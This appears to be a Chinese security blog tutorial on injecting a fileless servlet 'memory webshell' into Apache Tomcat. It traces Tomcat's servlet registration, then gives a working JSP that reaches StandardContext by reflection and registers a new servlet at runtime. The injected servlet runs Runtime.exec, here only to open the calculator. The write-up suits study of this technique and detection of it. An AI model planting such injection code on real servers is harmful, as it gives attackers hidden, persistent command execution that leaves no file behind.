servlet内存马

UWI Lv3

servlet内存马

这是一个普通的servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.example.demo;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;


import java.io.*;

@WebServlet(
name = "AnnotationServlet",
urlPatterns = {"/MyServlet"},
loadOnStartup = 1
)

public class MyServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<h1>Hello from MyServlet!</h1>");
out.println("</body></html>");
}
}

image-20250814091534419

servlet内存马的目的是在无文件落地的情况下动态的在tomcat中注册servlet

那么现在就是要查询tomcat是在哪里注册我们这些servlet的呢? 首先先要在pom.xml中引入依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>10.1.23</version>
</dependency>

在ContextConfig 下的configureContext函数中

下断点 我们发现了我们的servlet名称

image-20250814093440967

image-20250814093721361

那么我们追踪servlets 看看那一部分对这个servlets 进行了操作

往下翻 找到位置

image-20250814093900197

核心代码 context.addChild(wrapper) 添加servlet

context.addServletMappingDecoded(entry.getKey(), entry.getValue()) 添加servlet映射关系

image-20250814094531545

那么我们只需要获取到context对象就可以注入servlet内存马了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<%@ page import="java.lang.reflect.*,
org.apache.catalina.core.*,
javax.servlet.*,
javax.servlet.http.*,
java.io.*" %>
<%
// 定义恶意Servlet类
class CalcServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
try {
String os = System.getProperty("os.name").toLowerCase();
if (os.contains("win")) {
Runtime.getRuntime().exec("calc.exe");
resp.getWriter().write("Calculator launched on Windows!");
} else if (os.contains("mac")) {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
resp.getWriter().write("Calculator launched on Mac!");
} else {
resp.getWriter().write("Unsupported OS: " + os);
}
} catch (Exception e) {
resp.getWriter().write("Error: " + e.getMessage());
}
}
}

// 注入逻辑
try {
// 获取StandardContext
ServletContext ctx = request.getServletContext();
Field appCtxField = ctx.getClass().getDeclaredField("context");
appCtxField.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext)appCtxField.get(ctx);

Field stdCtxField = appCtx.getClass().getDeclaredField("context");
stdCtxField.setAccessible(true);
StandardContext stdCtx = (StandardContext)stdCtxField.get(appCtx);

// 创建并注册Servlet
Servlet calcServlet = new CalcServlet();
org.apache.catalina.Wrapper wrapper = stdCtx.createWrapper();
wrapper.setName("calc");
wrapper.setServlet(calcServlet);
wrapper.setServletClass(CalcServlet.class.getName());
stdCtx.addChild(wrapper);
stdCtx.addServletMappingDecoded("/calc", "calc");

out.println("ok");
} catch (Exception e) {
out.println("inject failed: " + e.toString());
}
%>

image-20250814095745314

然后我们访问 /calc

image-20250814095817280

可以看到内存马注入成功

  • Title: servlet内存马
  • Author: UWI
  • Created at : 2025-08-14 08:51:05
  • Updated at : 2025-08-14 10:00:13
  • Link: https://nbwsws.github.io/2025/08/14/代码审计/servlet内存马/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
servlet内存马